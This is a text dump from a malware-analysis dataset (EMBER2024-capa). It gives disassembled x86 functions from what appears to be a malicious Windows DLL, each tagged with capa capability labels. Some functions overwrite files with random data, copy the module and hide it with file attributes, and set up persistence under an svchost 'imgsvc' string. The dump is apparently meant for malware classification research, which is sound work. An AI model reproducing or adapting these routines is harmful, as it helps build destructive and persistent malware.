joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10013890
Capabilities:
Delete file
Get common file path

Disassembly:
call fcn.10013600
test eax, eax
jne 0x1001389e
call fcn.10013120
call fcn.10013760
test eax, eax
jne 0x100138ac
jmp fcn.10013340
ret

Function at 0x100138b0
Capabilities:
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x404
mov eax, dword [esp + 0x408]
push ebp
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x1001399a
push ebx
push edi
push 2
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [esp + 0xc], 0
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0x5005
xor edi, edi
idiv ecx
mov ebx, edx
test ebx, ebx
jle 0x10013976
push esi
mov edx, edi
and edx, 0x800003ff
jns 0x10013937
dec edx
or edx, 0xfffffc00
inc edx
jne 0x10013958
xor esi, esi
call dword [sym.imp.MSVCRT.dll_rand]
add eax, esi
mov ecx, 0xff
cdq
idiv ecx
inc esi
cmp esi, 0x400
mov byte [esp + esi + 0x13], dl
jl 0x1001393b
lea edx, [esp + 0x10]
push 0
push edx
lea eax, [esp + 0x1c]
push 0x400
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
inc edi
cmp edi, ebx
jl 0x10013925
pop esi
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x10020320]
mov edx, dword [esp + 0x414]
and ecx, 0xffff
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop ebx
pop ebp
add esp, 0x404
ret
Function at 0x10013f40
Capabilities:
Check for time delay via gettickcount
Copy file
Delete file
Query environment variable
Set file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x208
cmp eax, 1
push ebx
push esi
push edi
jne 0x100140d8
push 0x37a
push str.Emla_q_gkwasn_a_a_a_a_a_a_a_a_a_a_a_a_a_a
call fcn.10013b70
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov ebx, dword [esp + 0x224]
add esp, 0xc
push 0x104
push 0x1002269c
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 4
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0x104
push eax
push 0x1002021c
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
push 0x1002021c
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x1002269c
mov edx, ecx
mov esi, edi
mov edi, 0x1002021c
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
jne 0x1001401d
mov dword [0x1002264c], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1002263c], eax
call fcn.1000ac00
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
push str.Glable__Wait
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
call fcn.10009c70
push 0x1002021c
call fcn.10012390
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
push 0x1002021c
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0xb
mov esi, str._SystemRoot_System32_svchost.exe__k_imgsvc
lea edi, [esp + 0x110]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x36
lea edi, [esp + 0x13c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x110]
push eax
call fcn.10012420
add esp, 4
call fcn.10013120
call fcn.10013340
push 0x1000
push 0x1002021c
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0x1002021c
push 0x1002269c
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x1002021c
call fcn.100138b0
add esp, 4
call fcn.10012b40
call fcn.10012820
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
Function at 0x10003290
Capabilities:
Set file attributes

Disassembly:
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
setne al
ret

Function at 0x100032f8
Capabilities:
Get common file path

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
mov eax, 0x105
push edi
mov edi, edx
cmp dword [esi + 8], eax
mov ebx, ecx
jg 0x10003315
push eax
mov ecx, esi
call fcn.1000267c
push dword [esi]
push 0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov ecx, esi
mov edi, eax
call fcn.10002eb0
mov eax, edi
pop edi
pop esi
pop ebx
ret 4

Function at 0x10009bd2
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x1009bbb4
call fcn.1009a9e0
push ecx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.100022ea
and dword [ebp - 4], 0
lea eax, [edi + 0xc]
push eax
lea ecx, [esi + 0xc]
call fcn.100022ea
mov eax, dword [edi + 0x18]
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x18], eax
mov eax, dword [edi + 0x1c]
mov dword [esi + 0x1c], eax
mov eax, dword [edi + 0x20]
mov dword [esi + 0x20], eax
mov eax, dword [edi + 0x24]
mov dword [esi + 0x24], eax
mov eax, dword [edi + 0x28]
mov dword [esi + 0x28], eax
mov al, byte [edi + 0x2c]
mov byte [esi + 0x2c], al
mov al, byte [edi + 0x2d]
mov byte [esi + 0x2d], al
mov al, byte [edi + 0x2e]
mov byte [esi + 0x2e], al
mov al, byte [edi + 0x2f]
mov byte [esi + 0x2f], al
mov al, byte [edi + 0x30]
mov byte [esi + 0x30], al
mov al, byte [edi + 0x31]
mov byte [esi + 0x31], al
mov ax, word [edi + 0x32]
mov word [esi + 0x32], ax
mov eax, dword [edi + 0x38]
mov dword [esi + 0x38], eax
mov eax, dword [edi + 0x3c]
mov dword [esi + 0x3c], eax
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret 4
Function at 0x1000c527
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
push edi
xor ebx, ebx
cmp dword [esi + 0x68], ebx
lea edi, [esi + 0x68]
jne 0x1000c563
push 0x18
call fcn.1000286f
cmp eax, ebx
pop ecx
je 0x1000c556
mov dword [eax + 4], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x14], ebx
mov dword [eax], 0x100a5868
jmp 0x1000c558
xor eax, eax
push eax
mov ecx, edi
mov dword [esi + 0x64], eax
call fcn.10034ffa
cmp dword [esi + 0x70], ebx
lea edi, [esi + 0x70]
jne 0x1000c592
push 0x20
call fcn.1000286f
cmp eax, ebx
pop ecx
je 0x1000c585
mov dword [eax + 4], ebx
mov dword [eax + 0x1c], ebx
mov dword [eax], 0x100a5854
jmp 0x1000c587
xor eax, eax
push eax
mov ecx, edi
mov dword [esi + 0x6c], eax
call fcn.10034ffa
cmp dword [esi + 0x78], ebx
lea edi, [esi + 0x78]
jne 0x1000c5be
push 0x14
call fcn.1000286f
cmp eax, ebx
pop ecx
je 0x1000c5b1
mov dword [eax + 4], ebx
mov dword [eax], 0x100a5844
jmp 0x1000c5b3
xor eax, eax
push eax
mov ecx, edi
mov dword [esi + 0x74], eax
call fcn.10034ffa
mov eax, dword [esi + 0x24]
mov ecx, dword [ebp + 8]
mov edi, dword [esi + 0x7c]
mov dl, byte [esi + 0x3c]
lea eax, [eax + ecx*4]
add eax, edi
or ecx, dword [ebp + 0xc]
jne 0x1000c5df
mov ecx, dword [esi + 0x80]
lea edi, [edi + ecx*4]
jmp 0x1000c602
cmp dl, bl
je 0x1000c5ff
movzx edi, byte [eax - 2]
xor ecx, ecx
mov ch, byte [eax - 4]
mov cl, byte [eax - 3]
shl ecx, 8
or ecx, edi
movzx edi, byte [eax - 1]
shl ecx, 8
or edi, ecx
jmp 0x1000c602
mov edi, dword [eax - 4]
cmp dl, bl
je 0x1000c621
movzx edx, byte [eax + 2]
xor ecx, ecx
mov ch, byte [eax]
mov cl, byte [eax + 1]
movzx eax, byte [eax + 3]
shl ecx, 8
or ecx, edx
shl ecx, 8
or eax, ecx
jmp 0x1000c623
mov eax, dword [eax]
cmp eax, edi
jb 0x1000c6a4
cmp eax, dword [esi + 0x28]
ja 0x1000c6a4
mov ecx, dword [esi + 0x24]
sub eax, edi
mov edx, eax
mov eax, dword [esi + 0x6c]
add ecx, edi
push ebx
mov dword [eax + 8], ecx
mov dword [eax + 0x10], ebx
lea ecx, [eax + 0x1c]
mov dword [ebp + 0xc], edx
mov dword [eax + 0x18], edx
mov dword [eax + 0x14], ebx
call fcn.10034ffa
mov eax, dword [esi + 0x74]
mov ecx, dword [ebp + 0x10]
push ebx
push ebx
mov dword [eax + 8], ecx
mov ecx, dword [ebp + 0x14]
mov dword [eax + 0x10], ebx
mov dword [eax + 0xc], ecx
mov ecx, dword [esi + 0x78]
mov eax, dword [esi + 0x68]
mov edx, dword [esi + 0x70]
push ebx
mov edi, dword [eax]
push ecx
push edx
push eax
call dword [edi + 0xc]
cmp eax, ebx
jne 0x1000c6a7
mov eax, dword [esi + 0x64]
mov ecx, dword [eax + 0x10]
call fcn.1000c6e1
add eax, 2
adc edx, ebx
xor ecx, ecx
cmp eax, dword [ebp + 0xc]
jne 0x1000c6a4
cmp edx, ecx
jne 0x1000c6a4
mov eax, dword [esi + 0x74]
mov ecx, dword [ebp + 0x14]
cmp dword [eax + 0x10], ecx
jne 0x1000c6a4
xor eax, eax
jmp 0x1000c6a7
push 1
pop eax
pop edi
pop esi
pop ebx
pop ebp
ret 0x10
Function at 0x1000cfe2
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x1009bf1e
call fcn.1009a9e0
push ecx
push esi
mov esi, ecx
push edi
xor edi, edi
mov dword [esi], 0x100a5644
mov dword [esi + 4], 0x100a55b4
mov dword [esi + 8], edi
mov dword [ebp - 0x10], esi
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x1c], 8
mov dword [esi + 0xc], 0x100a58f4
mov dword [ebp - 4], edi
mov dword [esi + 0x20], edi
lea ecx, [esi + 0x30]
mov dword [esi + 0x24], edi
push 3
mov byte [ebp - 4], 1
mov dword [ecx], edi
mov dword [ecx + 4], edi
mov dword [ecx + 8], edi
call fcn.1000267c
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x68], edi
mov dword [esi + 0x70], edi
mov dword [esi + 0x78], edi
mov dword [esi], 0x100a58c0
mov dword [esi + 4], 0x100a58b0
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x10010878
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x1009c40b
call fcn.1009a9e0
push ecx
push esi
mov esi, ecx
push edi
xor edi, edi
mov dword [esi], 0x100a5644
mov dword [esi + 4], edi
mov dword [ebp - 0x10], esi
mov dword [esi + 8], edi
lea ecx, [esi + 0xc]
push 3
mov dword [ebp - 4], edi
mov dword [ecx], edi
mov dword [ecx + 4], edi
mov dword [ecx + 8], edi
call fcn.1000267c
mov ecx, dword [ebp - 0xc]
push 4
pop eax
mov dword [esi + 0x1c], edi
mov dword [esi + 0x20], edi
mov dword [esi + 0x24], edi
mov dword [esi + 0x28], eax
mov dword [esi + 0x18], 0x100a59b8
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x3c], eax
mov dword [esi + 0x2c], 0x100a59b0
mov dword [esi], 0x100a597c
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x100160cf
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
push esi
push edi
mov edi, dword [esp + 0x10]
mov esi, ecx
test edi, edi
mov ax, word [esi]
jbe 0x100160ff
push ebx
movzx ecx, byte [edx]
movzx ebx, al
xor ecx, ebx
xor ebx, ebx
mov bl, ah
mov ax, word [ecx*2 + 0x100c0e34]
xor ax, bx
inc edx
dec edi
jne 0x100160e3
pop ebx
mov word [esi], ax
pop edi
pop esi
ret 8
Function at 0x1006ac10
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100a3a5c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push edi
xor edi, edi
mov dword [esi], 0x100a6b38
mov dword [esi + 4], 0x100a7844
lea ecx, [esi + 0x10]
mov dword [esp + 8], esi
mov dword [esi + 8], edi
call fcn.10004a86
lea ecx, [esi + 0x30]
mov dword [esp + 0x14], edi
call fcn.10004a86
lea ecx, [esi + 0x50]
mov byte [esp + 0x14], 1
call fcn.10004a86
lea ecx, [esi + 0x70]
mov byte [esp + 0x14], 2
call fcn.10004a86
mov ecx, dword [esp + 0xc]
mov dword [esi + 0x4a0], edi
mov dword [esi + 0x4a4], edi
mov dword [esi + 0x4b4], edi
mov eax, 0x100000
mov dword [esi + 0x4c0], edi
mov dword [esi + 0x4c8], eax
mov dword [esi + 0x4cc], eax
mov dword [esi + 0x4d0], eax
mov dword [esi + 0x4d4], eax
mov dword [esi + 0x4d8], 0x10000
mov dword [esi], 0x100a7834
mov dword [esi + 4], 0x100a7820
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x1006bde0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100a3b9b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push edi
xor edi, edi
mov dword [esi], 0x100a55e8
mov dword [esi + 4], 0x100a7df8
mov dword [esi + 8], edi
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], edi
mov dword [esi + 0x24], edi
mov dword [esp + 8], esi
mov dword [esi + 0x30], edi
lea ecx, [esi + 0x140]
mov dword [esp + 0x14], edi
call fcn.10004a86
mov dword [esi + 0x6fe4], edi
lea ecx, [esi + 0x6ff8]
mov dword [esi + 0x6ff4], edi
call fcn.10097270
mov ecx, dword [esp + 0xc]
mov eax, 1
mov dword [esi + 0x7020], edi
mov dword [esi + 0x6fec], edi
mov dword [esi + 0x6ff0], edi
mov dword [esi + 0x7010], eax
mov byte [esi + 0x6fe0], al
mov dword [esi], 0x100a7de0
mov dword [esi + 4], 0x100a7dd0
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x1006f0a0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
push edi
mov esi, ecx
push 0x31
call fcn.1006e760
push 0x41
mov ecx, esi
call fcn.1006e760
push 0x59
mov ecx, esi
call fcn.1006e760
push 0x26
mov ecx, esi
call fcn.1006e760
push 0x53
mov ecx, esi
call fcn.1006e760
push 0x59
mov ecx, esi
call fcn.1006e760
mov ecx, dword [esp + 0x1c]
or eax, 0xffffffff
xor edi, edi
xor ebp, ebp
mov bl, byte [ecx]
mov byte [esp + 0x10], bl
mov edx, dword [esp + 0x1c]
cmp edi, 4
mov cl, byte [edx + ebp]
mov byte [esp + 0x14], cl
jne 0x1006f130
test cl, cl
jbe 0x1006f12c
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
and edx, 0xff
and ecx, 0xff
mov edi, eax
shr edi, 0x18
xor edi, edx
shl eax, 8
mov edi, dword [edi*4 + 0x100c135c]
xor eax, edi
dec ecx
jne 0x1006f116
xor edi, edi
jmp 0x1006f15f
cmp bl, cl
jne 0x1006f137
inc edi
jmp 0x1006f142
mov bl, cl
mov edi, 1
mov byte [esp + 0x10], bl
mov edx, dword [esp + 0x14]
mov ecx, eax
shr ecx, 0x18
and edx, 0xff
xor ecx, edx
shl eax, 8
mov ecx, dword [ecx*4 + 0x100c135c]
xor eax, ecx
mov ecx, dword [esp + 0x20]
inc ebp
cmp ebp, ecx
jb 0x1006f0ee
not eax
mov edi, eax
mov ecx, esi
push edi
call fcn.1006e7a0
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x1c]
push edx
push eax
mov ecx, esi
call fcn.1006e8a0
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8
Function at 0x1006f370
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x18
push ebx
push ebp
push esi
mov esi, ecx
xor ebx, ebx
lea ecx, [esp + 0x14]
mov eax, dword [esi + 8]
mov edx, dword [esi + 0x8ce0]
mov dword [esp + 0x20], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], 8
mov byte [esp + 0x1c], bl
mov dword [esi + 0x10], ecx
mov ecx, dword [esp + 0x28]
mov dword [esi + 0x8cd4], ebx
mov eax, dword [edx + 0x170]
mov edx, dword [esi]
push edi
push eax
push ecx
push edx
mov ecx, esi
call fcn.1006f1a0
mov ecx, dword [esi + 0x8ce0]
cmp byte [ecx + 0x19c], bl
je 0x1006f3ec
mov eax, dword [esi + 0x8cd8]
lea edx, [eax + eax*8]
shl edx, 3
sub edx, eax
mov eax, dword [ecx + 0x178]
shl edx, 9
mov ecx, dword [edx + eax + 0x8cf0]
call fcn.100970d0
mov eax, dword [esi + 0x8cd4]
xor edx, edx
cmp eax, ebx
jbe 0x1006f429
lea edi, [esi + 0x7cd4]
mov eax, dword [esi + 0x8ce0]
add edi, 4
add eax, 0x174
mov ecx, dword [eax]
mov ebp, ecx
add ecx, ecx
shr ebp, 0x1f
or ebp, ecx
mov ecx, dword [edi - 4]
xor ebp, ecx
inc edx
mov dword [eax], ebp
mov eax, dword [esi + 0x8cd4]
cmp edx, eax
jb 0x1006f3fe
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x20]
push edx
mov edx, dword [esi + 8]
lea ecx, [eax*8 + 8]
mov eax, dword [esp + 0x20]
sub ecx, eax
push ecx
mov ecx, dword [esi + 0x8ce0]
push edx
call fcn.1006f500
mov eax, dword [esi + 0x8ce0]
cmp byte [eax + 0x19c], bl
je 0x1006f4e7
mov edi, dword [esi + 0x8cd8]
mov ecx, dword [eax + 0x198]
inc edi
cmp edi, ecx
jne 0x1006f474
xor edi, edi
cmp dword [eax + 0x1b0], ebx
je 0x1006f4c4
lea ebx, [eax + 0x140]
mov ecx, ebx
call fcn.100065e7
mov ebp, dword [ebx + 0x28]
mov ecx, 0xf
sub ecx, ebp
xor ebx, ebx
shr ecx, 3
add eax, ecx
adc edx, ebx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], edx
mov edx, dword [esi + 0x8ce0]
mov eax, dword [edx + 0x1b0]
lea edx, [esp + 0x10]
push edx
lea edx, [esi + 0x8cf8]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0xc]
mov ebx, eax
mov eax, dword [esi + 0x8ce0]
lea ecx, [edi + edi*8]
shl ecx, 3
mov edx, dword [eax + 0x178]
sub ecx, edi
shl ecx, 9
lea ecx, [edx + ecx + 0x8cf0]
call fcn.10097120
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret 4
Function at 0x1007ab00
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push ebp
push esi
mov esi, ecx
mov ebp, dword [esp + 0x18]
xor edx, edx
mov ecx, dword [esi + 4]
mov ebx, dword [esi]
mov eax, ecx
push edi
imul eax, dword [esp + 0x18]
div ebp
xor edx, edx
lea edi, [eax + ebx - 1]
mov eax, ecx
imul eax, dword [esp + 0x14]
div ebp
mov ecx, dword [esi + 8]
mov ebp, 0x10000
sub ecx, eax
add ebx, eax
mov dword [esi + 8], ecx
mov dword [esi], ebx
mov eax, dword [esi]
mov ecx, eax
xor ecx, edi
test ch, 0x80
je 0x1007ab63
test ah, 0x40
je 0x1007abd0
test edi, 0x4000
jne 0x1007abd0
and eax, 0x3fff
or edi, 0x4000
mov dword [esi], eax
mov edx, dword [esi]
and edi, 0x7fff
and edx, 0x7fff
shl edx, 1
mov dword [esi], edx
mov eax, dword [esi + 0x10]
shl edi, 1
or edi, 1
cmp eax, ebp
jb 0x1007abb1
mov eax, dword [esi + 0x18]
mov edx, dword [esi + 0x1c]
lea ecx, [esi + 0x18]
cmp eax, edx
jb 0x1007ab99
call fcn.10004b74
mov byte [esp + 0x18], al
jmp 0x1007aba2
mov dl, byte [eax]
inc eax
mov byte [esp + 0x18], dl
mov dword [ecx], eax
mov eax, dword [esp + 0x18]
and eax, 0xff
or ah, 1
mov dword [esi + 0x10], eax
mov ecx, dword [esi + 0x10]
mov eax, ecx
add ecx, ecx
mov dword [esi + 0x10], ecx
mov edx, dword [esi + 8]
shr eax, 7
and eax, 1
shl edx, 1
or edx, eax
mov dword [esi + 8], edx
jmp 0x1007ab3a
sub edi, dword [esi]
inc edi
mov dword [esi + 4], edi
pop edi
pop esi
pop ebp
pop ebx
ret 0xc
Function at 0x1007b1c0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100a426b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [esp + 8], esi
mov dword [esi], 0x100a55e8
mov dword [esi + 4], 0x100a5210
mov dword [esi + 8], ebx
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x24], ebx
mov dword [esi + 0x30], ebx
lea ecx, [esi + 0x40]
mov dword [esp + 0x14], ebx
call fcn.10004a86
mov ecx, dword [esp + 0xc]
mov byte [esi + 0x88], bl
mov dword [esi], 0x100a83b8
mov dword [esi + 4], 0x100a83a8
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x1007c690
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100a42eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [esp + 8], esi
mov dword [esi], 0x100a55e8
mov dword [esi + 4], 0x100a5210
mov dword [esi + 8], ebx
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x24], ebx
mov dword [esi + 0x30], ebx
lea ecx, [esi + 0x40]
mov dword [esp + 0x14], ebx
call fcn.10004a86
mov ecx, dword [esp + 0xc]
mov byte [esi + 0x3038], bl
mov dword [esi], 0x100a8510
mov dword [esi + 4], 0x100a8500
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x1007e1a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 0xc]
mov ecx, eax
imul ecx, edx
mov edx, dword [esi + 0x14]
add edx, ecx
mov dword [esi + 0x14], edx
mov edx, dword [esi + 0x10]
sub edx, ecx
imul eax, dword [esp + 8]
mov dword [esi + 0x10], edx
mov dword [esi + 0xc], eax
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0xc]
lea edx, [eax + ecx]
xor edx, eax
cmp edx, 0x1000000
jb 0x1007e1e8
cmp ecx, 0x8000
jae 0x1007e232
neg eax
and eax, 0x7fff
mov dword [esi + 0xc], eax
mov eax, dword [esi + 0x20]
mov edx, dword [esi + 0x24]
lea ecx, [esi + 0x20]
cmp eax, edx
jb 0x1007e200
call fcn.10004b74
mov byte [esp + 8], al
jmp 0x1007e209
mov dl, byte [eax]
inc eax
mov byte [esp + 8], dl
mov dword [ecx], eax
mov eax, dword [esi + 0x10]
mov ecx, dword [esp + 8]
shl eax, 8
and ecx, 0xff
or eax, ecx
mov ecx, dword [esi + 0xc]
mov dword [esi + 0x10], eax
mov eax, dword [esi + 0x14]
shl ecx, 8
shl eax, 8
mov dword [esi + 0xc], ecx
mov dword [esi + 0x14], eax
jmp 0x1007e1c3
pop esi
ret 4
Function at 0x100820f0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
mov esi, dword [esp + 0x38]
mov eax, 1
xor bl, bl
push edi
mov edi, dword [esp + 0x38]
cmp esi, eax
mov dword [esp + 0x10], ecx
jbe 0x10082118
mov cl, byte [eax + edi]
xor bl, cl
inc eax
cmp eax, esi
jb 0x1008210e
mov ebp, dword [esp + 0x40]
mov ecx, ebp
call fcn.10001866
mov dword [ebp + 0x14], 0xffffffff
mov al, byte [edi]
cmp bl, al
jne 0x10082156
xor ebx, ebx
cmp esi, ebx
jbe 0x10082158
mov edx, esi
mov ecx, edi
call fcn.100821c0
cmp eax, ebx
mov dword [ebp + 0x14], eax
jge 0x100821a9
mov ecx, dword [esp + 0x10]
dec esi
push ebp
inc edi
push esi
push edi
call fcn.10081de0
jmp 0x10082158
xor ebx, ebx
mov eax, 3
mov ecx, ebp
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
call fcn.1000188f
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
shl edi, 5
add edi, esi
mov ecx, 8
lea esi, [esp + 0x14]
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
inc edx
mov eax, edx
mov dword [ebp + 8], edx
shl eax, 5
mov dword [eax + ecx - 0x20], 0x16
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret 0xc
Function at 0x10085170
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x40
xor eax, eax
push ebx
push esi
mov esi, dword [esp + 0x50]
mov ebx, ecx
push edi
mov ecx, 0x10
lea edi, [esp + 0xc]
cmp esi, 0x40
rep stosd dword es:[edi], eax
jbe 0x100851b7
mov ecx, ebx
call fcn.100861e0
mov eax, dword [esp + 0x50]
push esi
push eax
mov ecx, ebx
mov dword [ebx + 0x20], 0
call fcn.100869f0
lea ecx, [esp + 0xc]
push ecx
mov ecx, ebx
call fcn.10086b80
jmp 0x100851d3
test esi, esi
jbe 0x100851d3
mov ecx, esi
mov esi, dword [esp + 0x50]
mov edx, ecx
lea edi, [esp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor eax, eax
mov cl, byte [esp + eax + 0xc]
xor cl, 0x36
mov byte [esp + eax + 0xc], cl
inc eax
cmp eax, 0x40
jb 0x100851d5
mov ecx, ebx
call fcn.100861e0
lea eax, [esp + 0xc]
push 0x40
push eax
mov ecx, ebx
mov dword [ebx + 0x20], 0
call fcn.100869f0
xor eax, eax
mov cl, byte [esp + eax + 0xc]
xor cl, 0x6a
mov byte [esp + eax + 0xc], cl
inc eax
cmp eax, 0x40
jb 0x10085204
lea esi, [ebx + 0x68]
mov ecx, esi
call fcn.100861e0
lea ecx, [esp + 0xc]
push 0x40
push ecx
mov ecx, esi
mov dword [esi + 0x20], 0
call fcn.100869f0
pop edi
pop esi
pop ebx
add esp, 0x40
ret 8

Function at 0x100852a0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xbc
xor eax, eax
push ebx
push esi
mov ebx, ecx
push edi
mov ecx, 0x10
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0xd0]
cmp edi, 0x40
jbe 0x10085328
lea ecx, [esp + 0x60]
call fcn.100861e0
mov eax, dword [esp + 0xcc]
push edi
push eax
lea ecx, [esp + 0x68]
mov dword [esp + 0x88], 0
call fcn.100869f0
lea ecx, [esp + 0xc]
push ecx
lea ecx, [esp + 0x64]
call fcn.10086b80
xor eax, eax
xor edx, edx
xor ecx, ecx
mov dh, byte [esp + eax + 0xc]
mov cl, byte [esp + eax + 0xe]
mov dl, byte [esp + eax + 0xd]
add eax, 4
shl edx, 8
or edx, ecx
xor ecx, ecx
mov cl, byte [esp + eax + 0xb]
shl edx, 8
or edx, ecx
cmp eax, 0x14
mov dword [esp + eax + 0x1c], edx
jb 0x100852fa
jmp 0x10085361
xor eax, eax
test edi, edi
jbe 0x10085361
push ebp
mov ebp, dword [esp + 0xd0]
mov edx, eax
mov ecx, 3
shr edx, 2
lea esi, [esp + edx*4 + 0x24]
mov edx, eax
and edx, 3
sub ecx, edx
xor edx, edx
mov dl, byte [eax + ebp]
shl ecx, 3
shl edx, cl
mov ecx, dword [esi]
or ecx, edx
inc eax
cmp eax, edi
mov dword [esi], ecx
jb 0x10085336
pop ebp
lea eax, [esp + 0x20]
mov ecx, 0x10
mov edi, dword [eax]
add eax, 4
xor edi, 0x36363636
dec ecx
mov dword [eax - 4], edi
jne 0x1008536a
mov ecx, ebx
call fcn.100861e0
lea eax, [esp + 0x20]
push 0x10
push eax
mov ecx, ebx
mov dword [ebx + 0x20], 0
call fcn.10086c90
lea eax, [esp + 0x20]
mov ecx, 0x10
mov edi, dword [eax]
add eax, 4
xor edi, 0x6a6a6a6a
dec ecx
mov dword [eax - 4], edi
jne 0x100853a0
lea esi, [ebx + 0x68]
mov ecx, esi
call fcn.100861e0
